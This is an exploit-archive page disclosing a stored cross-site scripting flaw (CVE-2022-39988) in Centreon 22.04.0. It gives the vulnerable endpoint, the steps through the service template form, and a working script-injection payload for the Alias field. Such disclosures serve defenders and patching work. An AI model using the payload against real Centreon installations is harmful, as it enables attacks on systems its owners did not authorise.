

Centreon 22.04.0 Cross Site Scripting

Authored by [syad](#)

Posted [Oct 1, 2022](#)

Centreon version 22.04.0 suffers from a persistent cross site scripting vulnerability.

tags | [exploit](#), [xss](#)

advisories | [CVE-2022-39988](#)

SHA-256 | [69cf7baade94fd5e803782c07bbd53d7ff5f985beb2b08f0768155d0e8d0e38f](#) [Download](#) | [Favorite](#) | [View](#)

Related Files

Share This

Like 0

[Tweet](#)

[LinkedIn](#)

[Reddit](#)

[Digg](#)

[StumbleUpon](#)

Change Mirror

[Download](#)

```
# Exploit Title: Stored XSS in service_alias parameter in Centreon version 22.04.0
# Date: 1/10/2022
# Exploit Author: syad
# Vendor Homepage: Centreon
# Software Link: https://download.centreon.com/
# Version: 22.04.0
# CVE ID : CVE-2022-39988
# Tested on: Centos 7
```

Centreon 22.04.0 is vulnerable to Stored Cross Site Scripting (XSS) from the function Service -> Templates -> by adding a crafted payload into the service_alias parameter.

go to this endpoint -> /centreon/main.get.php?p=60206 -> Service -> Templates -> Click Button "Add" and put the crafted payload below on section "Alias" and save

```
payload --> test"><body onload=prompt('XSS-STORED')>
```

[Login](#) or [Register](#) to add favorites

[Follow us on Twitter](#)

[Subscribe to an RSS Feed](#)

File Archive: November 2022 <

Su	Mo	Tu	We	Th	Fr	Sa
		1	2	3	4	5
6	7	8	9	10	11	12
13	14	15	16	17	18	19
20	21	22	23	24	25	26
27	28	29	30			

Top Authors In Last 30 Days

Red Hat 188 files

Ubuntu 57 files

Gentoo 44 files

Debian 28 files

Apple 25 files

Google Security Research 14 files

malvuln 10 files

nu11secu1ty 6 files

mjurczyk 4 files

George Tsimpidas 3 files

File Tags

[ActiveX](#) (932)
[Advisory](#) (79,557)
[Arbitrary](#) (15,643)
[BBS](#) (2,859)
[Bypass](#) (1,615)
[CGI](#) (1,015)
[Code Execution](#) (6,913)
[Conference](#) (672)
[Cracker](#) (840)
[CSRF](#) (3,288)
[DoS](#) (22,541)
[Encryption](#) (2,349)
[Exploit](#) (50,293)
[File Inclusion](#) (4,162)
[File Upload](#) (946)
[Firewall](#) (821)
[Info Disclosure](#) (2,656)

File Archives

[November 2022](#)
[October 2022](#)
[September 2022](#)
[August 2022](#)
[July 2022](#)
[June 2022](#)
[May 2022](#)
[April 2022](#)
[March 2022](#)
[February 2022](#)
[January 2022](#)
[December 2021](#)
[Older](#)

Systems

[AIX](#) (426)
[Apple](#) (1,926)

Site Links

[News by Month](#)

[News Tags](#)

[Files by Month](#)

[File Tags](#)

[File Directory](#)

About Us

[History & Purpose](#)

[Contact Information](#)

[Terms of Service](#)

[Privacy Statement](#)


[Copyright Information](#)

Hosting By

[Rokasec](#)

Intrusion Detection (866)	BSD (370)
Java (2,888)	CentOS (55)
JavaScript (817)	Cisco (1,917)
Kernel (6,255)	Debian (6,620)
Local (14,173)	Fedora (1,690)
Magazine (586)	FreeBSD (1,242)
Overflow (12,390)	Gentoo (4,272)
Perl (1,417)	HPUX (878)
PHP (5,087)	iOS (330)
Proof of Concept (2,290)	iPhone (108)
Protocol (3,426)	IRIX (220)
Python (1,449)	Juniper (67)
Remote (30,009)	Linux (44,118)
Root (3,496)	Mac OS X (684)
Ruby (594)	Mandriva (3,105)
Scanner (1,631)	NetBSD (255)
Security Tool (7,768)	OpenBSD (479)
Shell (3,098)	RedHat (12,339)
Shellcode (1,204)	Slackware (941)
Sniffer (885)	Solaris (1,607)
Spoof (2,165)	SUSE (1,444)
SQL Injection (16,089)	Ubuntu (8,147)
TCP (2,377)	UNIX (9,150)
Trojan (685)	UnixWare (185)
UDP (875)	Windows (6,504)
Virus (661)	Other
Vulnerability (31,104)	
Web (9,329)	
Whitepaper (3,728)	
x86 (946)	
XSS (17,478)	
Other	

 [Follow us on Twitter](#)

 [Subscribe to an RSS Feed](#)